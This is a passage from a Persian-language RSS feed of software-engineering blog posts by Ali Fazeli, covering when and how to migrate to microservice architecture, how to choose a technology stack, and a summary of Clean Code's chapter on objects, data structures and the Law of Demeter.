                <link>https://virgool.io/Rocket/%D9%85%D8%B9%D9%85%D8%A7%D8%B1%DB%8C-%D9%85%DB%8C%DA%A9%D8%B1%D9%88%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D9%88-%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84-%D8%A8%D9%87-%D8%A2%D9%86-qs3u0tddb5rz</link>
                <description>معماری میکروسرویس، یکی از معماری های شناخته شده و معروف در طراحی ساختار نرم افزار بوده و با وجود این که از سال های نسبتا دور وجود داشته، در سال های اخیر با پیشرفت ساختار های تحت کلاود (Cloud) و قابلیت های DevOps Automation به مراتب جذاب تر و پر استفاده تر شده و حداقل استفاده از کلمات و ادبیات مربوط به این معماری جزیی از روزمره مهندسان نرم افزار و معماران سیستم ها شده.اما چه زمانی استفاده از معماری میکروسرویس در نرم افزار مفید است؟ چه پیش نیاز هایی برای پیاده سازی این معماری وجود دارد؟ و در صورت حرکت به سمت این معماری چه فرصت هایی بوجود می‌آید و چه مشکلاتی برای تیم ها و نرم افزار ها ممکن است ایجاد شود؟چه وقتی معماری میکروسرویس برای استفاده مناسب است؟پیاده سازی ابتدایی نرم افزار با معماری میکروسرویس! طمعی که خیلی ها که با این معماری آشنا هستند و قبلا مزایای آن رو تجربه کردند بهش دچار می‌شوند. اما قبل از گرفتن چنین تصمیمی باید نکات زیادی را در نظر گرفت. از جمله:پیاده سازی معماری میکروسرویس نیازمند شناخت خوب و کامل از فضای مسئله یا همان ‌‌Business Domain هست و به همین خاطر لازم است که پیش از شروع زمان کافی صرف شناخت و تحلیل فضای مسئله و ساخت فضای راه حل بشود. به همین دلیل ابتدایی می‌توان با قطعیت خوبی مفید بودن استفاده از معماری میکروسرویس رو برای استارتاپ ها را رد کرد.پیاده سازی با استفاده از معماری میکروسرویس به دلایل مختلف زمان بر تر از توسعه سیستم یکپارچه (monolithic) هست که از دلایل اون می‌توان به نیازمندی به بررسی و یادگیری بیشتر (Learning Curve)، نیاز به توسعه ابزار های اضافی (برای  monitoring ، integration و … )، پیچیده تر بودن دیباگ کردن و … اشاره کرد.نگهداری سرویس های متعدد برای تیم های کوچک دشوار بوده و کار کردن افراد یکسان روی سرویس های متعدد باعث سردرگمی و انتقال منطق های کد به جاهای اشتباه می‌شه . در صورتی که با تیم کوچکی کار میکنید حتما تعداد سرویس ها را پایین نگه دارید و همینطور نظارت دقیق روی نحوه پیاده سازی و رعایت مرز های بین سرویس ها داشته باشید.در صورت عدم دسترسی به سیستم های cloud مانند AWS یا Azure، نگهداری ،  scale  و مانیتورینگ سرویس ها در معماری میکروسرویس چالش برانگیز خواهد بود و شما نیاز به تیم قوی زیرساخت و DevOps خواهید داشت که قطعا هزینه بالایی به شما تحمیل خواهد کرد.اما در چه شرایطی انتخاب این معماری می‌تواند کمک کننده بوده و باعث تولید خروجی باکیفیت و قابل نگهداری تر شود؟اگر شناخت کافی از فضای مسئله دارید و قبلا روی موضوع به اندازه کافی مطالعه و تحقیق و تحلیل انجام شده  انتقال به این معماری یا پیاده سازی ابتدایی با معماری میکروسرویس می‌تواند گزینه جذابی باشد. چرا که حالا اطلاعات و تجربه کافی برای شکستن صحیح سرویس ها دارید و احتمال خطا رفتن شما کمتر شده.اگر نرم افزار در حال کار پیاده سازی شده به صورت یکپارچه (monolithic) دارید، حالا برای بهبود اوضاع، قابل نگهداری کردن کد و همچنین توسعه پذیر کردن تیم برنامه نویسی می‌توانید به سمت پیاده سازی این معماری حرکت کنید. (حرکت به سمت معماری میکروسرویس در قالب ریفکتور یا بازنویسی)اگر استفاده از تکنولوژی های متفاوت (مانند پایگاه داده یا زبان برنامه نویسی)  برای بخش های مختلف سرویس ارزش بالایی برای شما ایجاد‌ می‌کنه، استفاده از این معماری یا حداقل انتقال به نسخه ای از معماری سرویس گرا (Service Oriented Architecture) می‌تواند گزینه بسیار جذابی باشد. به عنوان مثال شما می‌تونید پایه اپلیکیشن سرور خود را که با Java توسعه داده شده همچنان نگهدارید ولی بخشی که برای مدیریت و پردازش کلان داده ها ایجاد شده را در قالب یک سرویس مجزا و با زبان Python پیاده سازی کنید و از مزایای هردو این زبان ها بهره‌مند شوید.البته که موارد بالا فقط بخشی از موضوعات مهم در مورد تصمیم گیری برای انتخاب یا عدم انتخاب این معماری هستند اما می‌تونن نقطه شروعی برای این مسئله باشند.شاید بهتر باشه از روش تحلیل SWOT برای تصمیم گیری در مورد این انتخاب استفاده کنید تا دید بهتری نسبت به شرایط و محدودیت ها داشته باشید.چطور برای پیاده سازی اقدام کنیم؟من در این بخش فرض می‌کنم که در حال حاضر سیستم یکپارچه (monolithic) در اختیار ماست و می‌خوایم به سمت معماری میکروسرویس حرکت کنیم. فرض دیگر من این هست که ما با یک سیستم که به شکل agile توسعه داده می‌شود مواجهیم و میزان تغییرات و فیچر های جدید توی سیستم در بازه های زمانی چند هفته ای وچند ماهه خیلی زیاد بوده و به همین دلیل گزینه ای که تمام یا بخش زیادی از کارها را متوقف کنیم و روی ریفکتور تمرکز کنیم وجود ندارد.روش اول - پیاده سازی موازیمنظور از پیاده سازی موازی اینه که تیم جدیدی به صورت موازی تشکیل بشه که روی پیاده سازی سیستم با معماری جدید کار می‌کنه و هیچ کاری با نرم افزار موجود نداره. مزایا و معایب این کار از دید من این‌ها هستند:مزایاتیم به صورت متمرکز روی معماری و طراحی سیستم جدید کار می‌کند و تا حد زیادی از اتفاقات روتین سازمان جدا باقی می‌ماند.جهت گیری (bias) های ذهنی جهت حفظ طرز فکر های سیستم قدیمی وجود ندارد و امکان خلاقیت و نوآوری بیشتری توی طراحی ها وجود خواهد داشت.با توجه به تشکیل تیم جدید، می‌شود افراد دارای تجربه و تسلط نسبت به این معماری رو در تیم جدید قرار داد یا جذب کرد تا زمان آموزش و تحقیق کمتری نیاز باشد.معایبمدیریت فرهنگ تیم و سازمان و جلوگیری از رقابت های ناسالم بین دو تیم که همزمان دو نسخه از یک محصول را توسعه می‌دهند دشوار خواهد بود.با توجه به موازی پیش رفتن پروژه‌ها امکان افتادن در سلسله تغییرات دائمی در سیستم جدید و هرگز تکمیل نشدن آن به دلیل تغییرات دائمی وجود دارد.تیم پروژه Legacy باید علاوه بر کارهای روزمره به مرور و تا زمان تکمیل و جانشینی پروژه جدید، تحت آموزش لازم جهت کار در نرم افزار جدید نیز قرار گیرد.فرایند جانشینی کامل نرم افزار جدید به جای قدیمی (به صورت BigBang) بسیار پیچیده و ریسکی خواهد بود.علاوه بر توسعه نرم افزار جدید ابزارهایی برای روند جانشینی و تغییر ساختار داده ها به ساختار جدید باید توسعه داده شود که زمان توسعه را از قبل نیز بیشتر خواهد کرد.به جهت عدم ارائه خروجی در سطح پروداکشن در مدت زمان طولانی امکان خستگی فردی و سازمانی بالایی وجود دارد.روش دوم - پیاده سازی پلکانیدر این روش، به جای تشکیل تیم موازی و چالش های آن از همان تیم توسعه فعلی محصول برای انتقال به معماری جدید استفاده می‌کنیم. به این شکل که در صورت نیاز افراد جدید به تیم اضافه کرده و توسعه دهنده های قدیمی را نیز تحت آموزش های لازم جهت یادگیری نیازمندی های معماری جدید قرار می‌دهیم.این روش که روش مورد علاقه من هم هست مزایا و معایب خود را داراست:مزایانیازی به مدیریت دو تیم همزمان و جلوگیری از تداخل وظایف وجود ندارد.پروژه به جای یک فرایند انتقال طولانی و فرسایشی در قالب بروز رسانی های مرحله ای مورد بهره‌برداری قرار می‌گیرد.در صورت اشتباه در طراحی یا پیاده سازی، به دلیل چرخه های کوتاه تر توسعه و انتشار (Release) فیدبک های سریع‌تری دریافت می‌شود و به همین ترتیب ریسک کاهش پیدا می‌کند.با توجه به روند پلکانی و مرحله ای دانش فنی تیم هم به طور مرحله ای و با تجربه عملی دائما بهبود پیدا کرده و تکمیل می‌شود.نیاز به محدود سازی یا توقف توسعه فیچر های جدید وجود نداشته و صرفا با کمی مدیریت زمانی که با هماهنگی در سطح سازمان فراهم می‌شود، چابکی تیم حفظ شده و روند بیزنس به طور طبیعی و سالم به پیش می‌رود.معایبپروسه آموزش ابتدایی و یکسان سازی درک اعضای تیم از معماری میکروسرویس کمی طولانی تر و هزینه بر تر خواهد بود.نیاز به هماهنگی بالایی در سطح سازمان جهت درک روند درحال انجام و مدیریت انتظارات و توقعات وجود خواهد داشت.  به عنوان مثال، در سطح Stake Holder های سازمان باید درباره دلایل انجام کار، مزایای نهایی و همچنین کند شدن ابتدایی توسعه به دلایل مختلف شفافیت ایجاد کرد.گاهی مواقع افراد توسعه دهنده سیستم Legacy نسبت به این سیستم دارای تعصب بوده و در برابر تغییرات مقاومت نشان می‌دهند. باید برای تمام افراد، خصوصا در سطح سازمان این موضوع شفاف شود که این انتقال به دلیل ایراد در سیستم فعلی نیست و بخشی از روند طبیعی رشد و زندگی و بلوغ یک نرم افزار است.این ها بخشی از تجربه های شخصی و البته نتیجه مطالعات من در زمینه پیاده سازی معماری میکروسرویس بود که امیدوارم مورد توجه قرار گرفته و کمک کننده شما در تصمیم گیری و پیاده سازی هم باشد.در مقاله های بعدی درباره روش های عملی پیاده سازی، برنامه ریزی زمانی، سریع تر کردن حلفه های فیدبک، ساختار های فنی و ابزار های مورد نیاز بیشتر توضیح خواهم داد و وارد مسائل فنی و عمیق تری خواهم شد.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Mon, 27 Jun 2022 08:30:30 +0430</pubDate>
            </item>
                    <item>
                <title>چطوری استک تکنولوژی نرم افزار رو انتخاب کنیم؟</title>
                <link>https://virgool.io/@alimfazeli/%DA%86%D8%B7%D9%88%D8%B1%DB%8C-%D8%A7%D8%B3%D8%AA%DA%A9-%D8%AA%DA%A9%D9%86%D9%88%D9%84%D9%88%DA%98%DB%8C-%D9%86%D8%B1%D9%85-%D8%A7%D9%81%D8%B2%D8%A7%D8%B1-%D8%B1%D9%88-%D8%A7%D9%86%D8%AA%D8%AE%D8%A7%D8%A8-%DA%A9%D9%86%DB%8C%D9%85-la01tkhko4bn</link>
                <description>توی تجربیات سال‌های کاریم بارها بوده که موقعیت هایی پیش اومده که می‌خواستیم یک معماری،  ابزار یا حتی کتابخانه برای پروژه ای انتخاب کنیم. توی این موقعیت ها باید به چه نکاتی توجه کرد؟ چه چیزهایی به تصمیم ما باید جهت بده؟ آیا صرف این‌که یک تکنولوژی رو می‌شناسیم دلیل کافی برای استفاده ازش توی همه پروژه ها هست؟ یا این که علاقه داریم به تجربه کردن یه تکنولوژی جدید دلیل بدیه برای تغییر و خروج از محدوده راحتی؟توی این مقاله می‌خوام در مورد تجربه های خودم تو این زمینه صحبت کنم و بعضی عقایدی که بر اساس سال های فعالیتم چه به عنوان عضو تیم و چه به عنوان رهبر یا مدیر تیم بدست آوردم و الان برای انتخاب بهشون رجوع می‌کنم رو معرفی کنم.طبیعتا با توجه به پیشینه کاری خودم بیشتر مثال ها تو حوزه وب و موبایل خواهد بود.ترتیب موارد لزوما بر اساس اهمیت اون ها نیست و توی شرایط مختلف از دید من اهمیت هر کدوم ممکنه کمتر یا بیشتر بشه.کلمه تکنولوژی توی این مقاله خیلی تکرار شده و منظور از اون هر چیز تکنیکالیه که توی اجرای پروژه نرم افزاری میتونه تاثیر داشته باشه. مثل:‌ زبان برنامه نویسی،سرور، فریمورک، دیتابیس، سیستم Cache و … .زمانیکی از مهم ترین فاکتور ها در مورد تصمیم گیری تکنولوژی مربوط به زمان تصمیم گیریه. زمان تصمیم گیری از دو جهت اهمیت داره، اول از نظر بازه زمانی که پروژه در اون باید اجرا بشه و دوم از این نظر که در چه مقطعی از طول عمر نرم افزار هستیم.اگر در اولین مرحله از تحلیل و طراحی باشیم هزینه تغییر تکنولوژی انتخابی قابل مقایسه با زمانی که پیاده سازی شروع شده و زمانی که نسخه های پروداکشن تولید شده اصلا قابل مقایسه نیست. هر چی از طول عمر نرم افزار بیشتر گذشته باشه باید برای تغییر بیشتر احتیاط کرد.درباره نقش بازه زمانی اجرا هم که موضوع نیازی به توضیح اضافه نداره و مشخصه وقتی بازه خیلی کوتاهی برای اجرای یک محصول داشته باشیم انتخاب ها محدود تر هستند و مطمئن ترین و امتحان پس داده ترین گزینه ها انتخاب می‌شن.ماهیت (حوزه فعالیت)بعضی وقت ها و یک سری حوزه ها هستند که استاندارد ها و فرهنگ خاص خودشون رو دارن. به طور مثال وقتی در مورد نرم افزار های Enterprise صحبت می‌کنیم، نرم افزار هایی مثل CRM یا نرم افزار های مالی، فرهنگ و عادت قالب این حوزه ها به زبان های نرم افزاری  و فریمورک های خاصی نزدیک تره. توی بعضی حوزه ها مثل مالی و بانکی خیلی مهمه که تکنولوژی های انتخاب شده دسترسی شما به افراد متخصص اون حوزه رو محدود نکنه. به طور مثال اگر برای یک پروژه با ماهیت مالی زبان JavaScript رو بررسی می کنید، حتما ببینید که آیا توی جامعه برنامه نویس های اون حوزه این زبان به رسمیت شناخته می‌شه یا افراد شاخص و با تجربه اون حوزه تجربه کارکردن با این تکنولوژی رو دارند یا نه و اگر جواب منفیه حتما این نکته رو توی انتخاب در نظر داشته باشین. ما نمی‌خوایم تکنولوژی ای رو انتخاب کنیم که با پیشرفت و رشد لزوما مجبور به تغییرش باشیم. همچنین ماهیت بعضی حوزه ها به طور مشخصی نیازمندی هایی بوجود میاره که به طور خودکار انتخاب یک سری ابزار ها رو اجباری می‌کنه. به طور مثال تصور کنید که توی نرم افزار بانکی امکان استفاده از Transaction های دیتابیسی رو با انتخاب دیتابیسی که از اون پشتیبانی نمی‌کنه از خودتون بگیرید! ماهیت نرم افزار و جامعه برنامه نویس های اون حوزه اهمیت زیادی توی انتخاب های تکنولوژی باید داشته باشند.علاقه و تسلطتسلط داشتن اعضای تیم به تکنولوژی های انتخاب شده نقش کلیدی توی موفقیت یا عدم موفقیت پروژه داره. هر تکنولوژی یا معماری که انتخاب می‌کنید حتما اطمینان داشته باشید که دانش کافی در مورد اون ها در بین اعضای تیم وجود داره و در صورتی که ضعفی توی این زمینه می‌بینین جزو بالاترین اولویت ها باید رفع کردن ضعف دانش باشه. تسلط کم و سطحی هرچند شاید ۸۰ درصد مواقع باعث مشکل شدیدی نشه اما توی مواقع بحرانی و مشکلات داشتن تسلط عمیق به تکنولوژی مورد استفاده اون چیزیه که شما رو زنده نگه می‌داره.یه ایده ای که توی این زمینه داشتم و استفاده کردم این بوده که وقتی برای آینده تیم تکنولوژی، زبان یا فریمورک خاصی رو مناسب می‌بینیم، می‌تونیم توی پروژه های کم ریسک تر اون ها رو تست کنیم و کل اعضای تیم به مرور با اون ها آشنا بشن تا توی موقعیت های حساس تر هم بتونیم اون تکنولوژی ها رو جزو انتخاب هامون قرار بدیم. احتمالا تو آینده در مورد معماری میکروسرویس مقاله ای می‌نویسم و این مورد رو اونجا بیشتر توضیح می‌دم.اما در مورد علاقه، واقعیت اینه که برنامه نویسی شغل سنگین و خسته کننده ایه، به خصوص که خیلی از آدم های جامعه ما عادت به کار بیشتر از ظرفیت دارن و به شدت در خطر Burnout شدن هستند. حالا اگه توی این شرایط کاری پر فشار، از تکنولوژی های منسوخ شده یا رو به منسوخ شدن هم استفاده کنیم که اعضای تیم از اون ها متنفرن به مرور به شکل واضحی کیفیت کاری تیم و بعد کیفیت نرم افزار افت می‌کنه.تجربه کسب کردننقطه مقابل تسلط داشتن، تکنولوژی هایی هستند که به شدت ترند می‌شن و علاقه شدیدی توی برنامه نویس ها وجود داره که اون ها رو تجربه کنند و اکثر مواقع هم همین امروز دوست داریم که شروع کنیم و اگر نکنیم حس می‌کنیم عقب موندیم.این موضوع به نظر من حقیقت داره و شرکت ها و تیم ها باید به سمت استفاده از تکنولوژی های روز حرکت کنند اما مرز هایی وجود داره توی این موضوع و طبق تجربه من جزو بخش هاییه که کمترین توجه بهش می‌شه.ما به عنوان برنامه نویس ها یا معمار های نرم افزار نباید فراموش کنیم که توی کارهای رسمی و سازمانی هدف نهایی ایجاد ارزش برای محصوله و صرف علاقه و عجله ما برای استفاده از یه تکنولوژی بروز تر لزوما ارزشی برای محصول و سازمان تولید نمی‌کنه.بسیاری مواقع من با این موضوع مواجه شدم که فرد جدیدی به عنوان مدیر تکنولوژی یا معمار وارد سازمانی می‌شه و یا به دلیل علایق شخصی ، یا به دلیل علاقه اعضای تیم برنامه ریزی فوری برای تغییر کامل تکنولوژی و بازنویسی با زبان یا فریم ورک مورد نظر رو شروع می‌کنه و این بازنویسی رو علاج تمام مشکلات موجود ارائه می‌ده. تجربه من نشون داده که توی درصد بالایی از موارد (و البته که نه همیشه) این تغییر و بازنویسی ها منجر به تولید نرم افزاری جدید تر، نه چندان بهتر از نسخه قبلی می‌شه که البته با رفع خیلی از مشکلات قبلی، مسئله‌های جدیدی برای سازمان ایجاد می‌کنه. نکته ای که نباید فراموش کنیم اینه که نرم افزار بی اشکال و ایده آل وجود نداره و هر اندازه هم که همه ی نکات قبلی رورعایت کنیم همیشه مسائل جدیدی که راه حلش رو از قبل نمی‌دونیم سر راهمون قرار می‌گیرند.برای جمع بندی  این بخش می‌گم که به نظر من تغییر به سمت تکنولوژی های بروز تر یک امتیاز برای هر تیمی محسوب می‌شه اما این کار نیازمند رعایت کردن نکاتیه که باید بهش توجه کنیم:تجربه کسب کردن برابر با تحمیل ریسک به محصول و سازمانه و بین این ریسک و دستاورد های سازمان باید تعادل برقرار باشه. عادلانه نیست که ما تکنولوژی که برای سازمان ارزشی تولید نمی‌کنه رو با صرف کردن زمان و بودجه سازمان تجربه کنیم.توی نقطه مقابل، مقاومت بیش از حد سازمان در برابر تغییر و بهبود تکنولوژی در مواردی که دلایل کافی برای اون ها وجود داره نشونه خوبی نیست و باید حتما ریشه یابی و حل کرد این مشکل رو.اگر بخوام کل این پاراگراف رو در یک کلمه خلاصه کنم اون کلمه تعادل ‌هست.تیمآخرین موضوعی که راجع بهش صحبت می‌کنم توی این بحث، تیم نرم افزار هست. نکته هایی که در مورد تیم وجود داره توی بخش های قبلی هم راجع به بعضی هاش صحبت کردم اما به نظرم لازمه که جداگانه و دقیق بهش بپردازم.در نهایت مجری هر محصولی تیم نرم افزار اون هست و یکی از مهم ترین فاکتور های انتخاب تکنولوژی در نظر گرفتن تیم هست.آیا تیم تشکیل شده یا در حال تشکیل هست؟ بعد از تشکیل شدن تیم که به هرحال با نگاه به تکنولوژی‌های مورد استفاده انجام می‌شه تغییر دادن تکنولوژی سخت تر از قبل اونه و بهتره که نسبت معقولی از تجربه در باره تکنولوژی های پایه ای مورد استفاده داخل تیم وجود داشته باشه.برای استفاده از بعضی روش ها یا معماری ها نیاز به تیم های با ظرفیت و تجربه های مشخص هست و باید این موضوع در نظر گرفته بشه. به طور مثال زمانی که با یک تیم کوچک در حال تولید یک نرم افزار با حداکثر سرعت برای یک استارتاپ هستیم، استفاده از معماری میکروسرویس یکی از غلط ترین انتخاب های ممکن هست که زیاد هم انجام می‌شه!‌ (بیشتر مواقع به دلیل موضوع پاراگراف قبلی)توی تصمیم گیری برای تغییر تکنولوژی یا وارد کردن یه تکنولوژی جدید، باید اطمینان پیدا کنیم که یا تجربه کافی بین اعضای تیم وجود داره، یا ظرفیت کافی برای یادگیری از سمت تیم و سازمان وجود داره.من تلاش کردم به طور خلاصه به مهم ترین موضوع های ذهنیم در این باره اشاره کنم اما حتما موارد خیلی بیشتری توی این موضوع وجود داره اما پیشتهاد نهاییم اینه که موقع انتخاب تکنولوژی:حتما برای خودتون یک ساختار تصمیم گیری مشخص داشته باشین و از تصمیم گیری های احساسی دوری کنین.یادتون باشه که موقعی که برای یک سازمان کار می‌کنین، باید منافع سازمان رو در تغییرات و انتخاب ها در نظر بگیرین.یادتون نره که شما تنهایی کار رو اجرا نمی‌کنید و تمام اعضای تیم تون از این انتخاب ها تاثیر می‌گیرن.تعصب به  تکنولوژی های خاص و تنفر از بقیه تکنولوژی ها فقط جلوی پیشرفت و تعالی خودتون رو می‌گیرهاگر مسئولیت نرم افزار تولید شده ای رو به عهده گرفتید در مرحله اول تغییرات رو در پایین ترین میزان حفظ کنین و کوبیدن و از نو ساختن رو هیچ وقت به عنوان اولین گزینه در نظر نگیرید.در نهایت خوشحال میشم اگر نکته هایی در این زمینه دارید مطرح کنید.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 26 Sep 2021 09:46:52 +0330</pubDate>
            </item>
                    <item>
                <title>کد تمیز و شیئ گرایی</title>
                <link>https://virgool.io/@alimfazeli/clean-code-oop-eflm6agyjoon</link>
                <description>این مطلب در ادامه سری برداشت‌ها و خلاصه ی کتاب Clean Code، با نگاه به فصل ششم کتاب نوشته شده.بیشتر مطالبی که در مورد کد تمیز تا اینجا گفتیم به شکل ظاهری کد و ساختارش توی لایه ی اول اشاره داشته. اما حقیقت اینه که نوشتن کد تمیز و دنبال کردن ایده هایی که برای این کار هست باعث بهبود ساختاری و عملکرد نرم افزار تولید شده توی لایه های پایین تر هم می‌شه.این بخش به طور مشخص برنامه نویسی شیئ گرا رو مورد هدف قرار داده و نکته هاش برای کسایی که با زبان های برنامه نویسی شیئ گرا (مثل #C و جاوا و ...) کار می‌کنند بیشتر کاربردیه.قانون اول تعریف ‌‌‌‌Object ها: هیچ متغیری را به صورت ‌public تعریف نکن مگر این که دلیل محکمی برای اون وجود داشته باشه.مفهوم Abstractionیکی از اولین اصطلاحاتی که موقع شروع برنامه نویسی با زبان های شیئ گرا با اون آشنا می‌شید ‌Abstraction نام داره. به طور خلاصه به این مفهومه که ‌Object ای که تعریف می‌شه باید اطلاعات و عملکرد ها رو تا حد ممکن به شکل ساده سازی شده و خلاصه ارائه (expose) کنه. برای درک این مفهوم مثال های بعدی رو ببینید:هدف کلاس Point به طور مشخص در بر گرفتن اطلاعات یک نقطه در دستگاه مختصات است. در مثال اول در قالب یک کلاس تعریف شده که به طور مشخص به ما اجازه تغییر جداگانه مقادیر x و y را میده و تمام ساختار درونی خودش رو ‌‌expose می‌کنه.‍ مثال دوم اما با تغیر یک ‌interface نحوه کار و تغییر اطلاعات رو به شکل مشخصی ساختارمند می‌کنه. به طور مشخص ما رو مجبور می‌کنه که مقادیر ‌x و y رو یکجا و با هم تغییر بدیم و همینطور در صورت مقدار دهی قطبی هم شعاع و زاویه باید همزمان ست بشن.هردوی این مثال ها نمونه هایی از تعریف یک ‌Data Structure در قالب شیئ گرایی هستند اما مثال دوم با پنهان کردن ساختار داخلی خودش، روش مشخصی برای کار کردن با Object رو تعریف کرده.مفهوم Abstraction به پنهان کردن ساختار داخلی خلاصه نمیشه و ما رو تشویق می‌کنه که موقع تعریف کردن متد های عمومی یک کلاس هم اون ها رو به شکل ساده شده تعریف کنیم. مثال های بعدی رو ببینید:در دو نمونه interface تعریف شده برای وسیله نقلیه (Vehicle)، مورد اول ما می‌تونیم به طور مشخص میزان سوخت موجود در باک و ظرفیت کلی باک رو جداگانه دریافت کنیم و با اون ها هر کاری لازم داریم انجام بدیم اما توی مثال دوم با در نظر گرفتن Abstraction این دو متد حذف شدند و یک متد جایگزین شده که درصد سوخت باقیمانده نسبت به ظرفیت سوخت وسیله نقلیه رو برمیگردونه و ما دسترسی به اطلاعات درونی ‌‌Object نداریم. پس یادمون باشه که موقع تعریف کلاس ها، فقط اطلاعاتی که لازم هست رو به طور ‌Abstract ارائه کنیم و جزییاتی که لازم نیست رو داخل کلاس نگه داریم. برای درک ساده تر این موضوع تقریبا هر وسیله ای که به طور روزانه استفاده می‌کنید رو می‌تونید در نظر بگیرید. نکته مشترک توی همه اون ها اینه که اجزای داخلی پنهان شدند و شما طبق امکاناتی که سازنده به شما داده می‌تونید از اون وسیله استفاده کنید. مثلا با گوشی موبایل از طریق صفحه تاچ می‌تونید کار کنید و دسترسی به سخت افزار داخلی اون ندارید و دقیقا نمی‌دونید که چطوری داره کار می‌کنه (و لازم هم نیست که بدونید). این خلاصه کاریه که با Abstraction می‌خوایم انجامش بدیم.تفاوت بین ‌Object و Data Structureهر دو مفهموم Object و Data Structure توی زبان های شیئ گرا توسط کلاس ها تعریف می‌شن و ظاهرشون کاملا شبیه همه. توی این بخش راجع به تفاوت شون وکاربرد هاشون صحبت می‌کنیم و هدفمون اینه که وقتی کد یک کلاس رو می‌خونیم بدونیم با کدوم شون مواجه ایم و همینطور موقع نوشتن کد بهتر انتخاب کنیم که از Object استفاده کنیم یا Data Structure.به طور خلاصه Object ها کلاس هایی هستند که یک شیئ با عملکرد های مختلف مربوط به اون رو در بر می‌گیرند و Data Structure ها کلاس هایی اند که فقط محل قرارگیری یک سری اطلاعات و مقادیر هستند و برای نگه داشتن اون ها استفاده می‌شن و دارای منطق یا عملکرد خاصی نیستند. به عنوان مثال ببینیم که با استفاده از Object ها یا Data Structure ها چطوری میشه یک سری شکل و محاسبه مساحت اون ها رو مدل کرد:توی کد بالا همون طور که می‌بینین شکل های مختلف (دایره، مربع و مستطیل) در قالب ‌Data Structure ها تعریف شدند که فقط در بر گیرنده اطلاعات لازم برای تعریف اون هاست و برای محاسبه مساحت اون ها کلاسی به اسم Geometry تعریف شده که دارای یک متد برای محاسبه مساحت همه شکل هاست و همونطور که می‌بینین متد area از ویژگی های شیئ گرایی استفاده ای نکرده و کاملا به شکل procedural نوشته شده.اما روش دیگه پیاده کردن همین کد در قالب ‌‌Object های OOP (برنامه نویسی شیئ گرا) به چه شکلی می‌شه؟توی این روش یک interface به نام shape تعریف شده که تمام شکل ها اون رو پیاده سازی می‌کنن و طبق اون هر کلاس یک متد به اسم area داره که مقدار مساحت اون شکل رو برمیگردونه. تفاوت های کلاس Rectangle توی دو تا مثال رو نگاه کنید تا تفاوت Object و Data Structure رو به طور واضح متوجه شید:در اولی (Data Structure) متغیر ها عمومی هستند و در دومی (Object) متغیر ها خصوصیدر Data Structure متدی وجود نداره ( مگر setter و getter) ولی Object ها دارای متد های مربوط به اون Object هستندهیچ کدوم از این دو روش درست یا غلط نیست و هدف از دیدن شون درک تفاوت هاست تا موقع استفاده بتونید تصمیم بگیرید که کدوم مناسب تر هست.برای درک منظور تصور کنید که میخوایم تابعی به اسم perimeter اضافه کنیم تا محاسبه محیط رو انجام بده. اگر به روش اول پیاده سازی انجام شده باشه کافیه که این متد داخل کلاس Geometry پیاده بشه و نیازی به تغییر در هیچ کدوم کلاس های Circle و Rectangle و ... نیست. در حالی که اگر به روش دوم پیاده کرده باشیم، باید متد perimeter داخل هرکدوم از کلاس ها جداگانه تعریف بشه و به این ترتیب پیاده سازی طولانی تر و حجم تغییرات بیشتر می‌شه.در نقطه مقابل تصور کنید که شکل جدیدی مثلا مثلث رو میخوایم به نرم افزار اضافه کنیم. اگر نرم افزار به روش اول Data Structure پیاده سازی شده باشه، لازمه که علاوه بر تعریف کلاس جدید برای مثلث، در کلاس Geometry هم محاسبات رو تغییر بدیم تا محاسبه مربوط به مثلث رو هم به درستی انجام بده اما اگر به روش دوم پیاده سازی انجام شده باشه، فقط کافیه کلاس جدیدی رو برای مثلث تعریف کنیم که خودش در بر گیرنده محاسبه محیط و مساحت خودش هم هست و نیازی به تغییر در جای دیگه  نداریم.پس به طور خلاصه اگر در آینده امکان اضافه شدن عملکرد های جدید بیشتر باشه استفاده از Data Structure l انتخاب بهتریه و اگر احتمال اضافه شدن نوع های جدید به سیستم وجود داشته باشه (مانند مثال مثلث) بهتره که از روش Object استفاده کنیم.به طور خلاصه، قرار نیست همه چیز، همیشه در قالب Object تعریف بشه و گاهی وقت ها بهتره که از Data Structure ها استفاده کنیم و procedure هایی داشته باشیم که روی اون ها کار می‌کنند.قانون Demeterقاعده دیمیتر (Law of Demeter) برای جلوگیری از ایجاد ارتباط های پیچیده و عمیق بین ‌Object هاست. به طور دقیق این قانون می‌گوید که متد f از کلاس C فقط می‌تواند متد هایی از این ‌ Object ها را استفاده کند:متد های کلاس Cمتد های Object ای که داخل خودش ساخته شدهمتد های Object ای که جزو ورودی هایش هستمتد های Object ای که به عنوان instance variable داخل کلاس C وجود داردبرای ساده شدن موضوع از یک مثال استفاده می‌کنم:منظور از همه چیزهایی که گفتیم چیه؟ کلاس User رو ببینید، به طور مشخص این کلاس می‌تونه به متد های کلاس Account دسترسی داشته باشه، همینطور به متد های داخلی خودش و البته داخل متد discountedPrice، می‌تونه به متد های کلاس  Coupon هم دسترسی داشته باشه. اما قانون Demeter توی این مثال کجا نقض شده؟توی خط شماره ۷ جایی که از متد getPrice که مربوط به کلاس Plan هست استفاده شده. این کلاس در دسترس کلاس User نیست و توسط کلاس Account برگردونده شده و نباید دسترسی به داخلش پیدا کنیم.به طور ساده قانون Demeter می‌گه هر کلاسی فقط باید با دوستان خودش صحبت کنه و نباید با غریبه ها حرف بزنه. و همینطور می‌گه که دوستان دوستان شما غریبه هستند.حالا وقتی به چنین عملکردی نیاز داریم چیکار کنیم؟راه حل گذشتن از این طور مشکل ها یادآوری یک نکته در مورد پیاده سازی ‌Class هاست:یک Object باید عملکرد های مورد نیاز رو ارائه کنه نه مقادیر رو! یعنی چی؟ یعنی اینجا کلاس Account باید به جای برگردوندن ساده مقدار plan و واگذار کردن بقیه چیزها به کلاس User، مسئولیت محاسبه تخفیف رو به عهده بگیره. در این صورت کد به شکل زیر در میاد و مشکل قانون Demeter به طور کلی حل می‌شه.این ها بخشی از نکاتی بود که رابرت سی مارتین  برای پیاده سازی Object ها در کتاب Clean Code بهش اشاره کرده. مثل تمام پست های این سری، پیشنهاد می‌کنم که اگر این مفاهیم براتون جذاب هست کتاب رو به طور کامل مطالعه کنید.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 19 Sep 2021 09:19:43 +0430</pubDate>
            </item>
                    <item>
                <title>تحول برنامه نویسی با کد تمیز (بخش چهارم - کامنت‌ها)</title>
